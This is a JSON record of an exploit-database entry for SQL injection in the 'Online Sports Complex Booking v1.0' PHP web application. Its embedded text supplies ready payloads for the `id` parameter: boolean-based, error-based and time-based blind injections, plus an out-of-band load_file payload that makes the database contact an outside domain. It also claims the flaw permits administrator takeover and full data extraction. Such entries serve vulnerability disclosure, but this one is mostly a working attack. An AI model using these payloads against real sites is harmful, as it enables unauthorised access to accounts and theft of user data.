{"id": "1337DAY-ID-37527", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Online Sports Complex Booking v1.0 SQL injection Vulnerability", "description": "", "published": "2022-03-27T00:00:00", "modified": "2022-03-27T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/37527", "reporter": "nu11secur1ty", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2022-03-27T14:18:42", "viewCount": 71, "enchantments": {"vulnersScore": "PENDING"}, "_state": {}, "_internal": {}, "sourceHref": "https://0day.today/exploit/37527", "sourceData": "## Title: Online Sports Complex Booking v1.0 SQLi \n## Author: nu11secur1ty\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Sports-Complex-Booking\n\n## Description:\nThe `id` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\\\\\sply2l4679zip0am6y4b4djnsey7m4avdj46vuk.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html\\\\ujf'))+' was submitted in the id parameter. \nThis payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.\nThe attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: id (GET)\n Type: boolean-based blind\n Title: AND boolean-based blind - WHERE or HAVING clause\n Payload: id=4' AND 9917=9917-- ckJc&p=view_facility\n\n Type: error-based\n Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\n Payload: id=4' AND (SELECT 2905 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(2905=2905,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Oirb&p=view_facility\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: id=4' AND (SELECT 4600 FROM (SELECT(SLEEP(5)))WjEd)-- eeCs&p=view_facility\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Sports-Complex-Booking)\n\n## Proof and Exploit:\n[href](https://streamable.com/2sle4i)\n", "category": "web applications", "verified": true}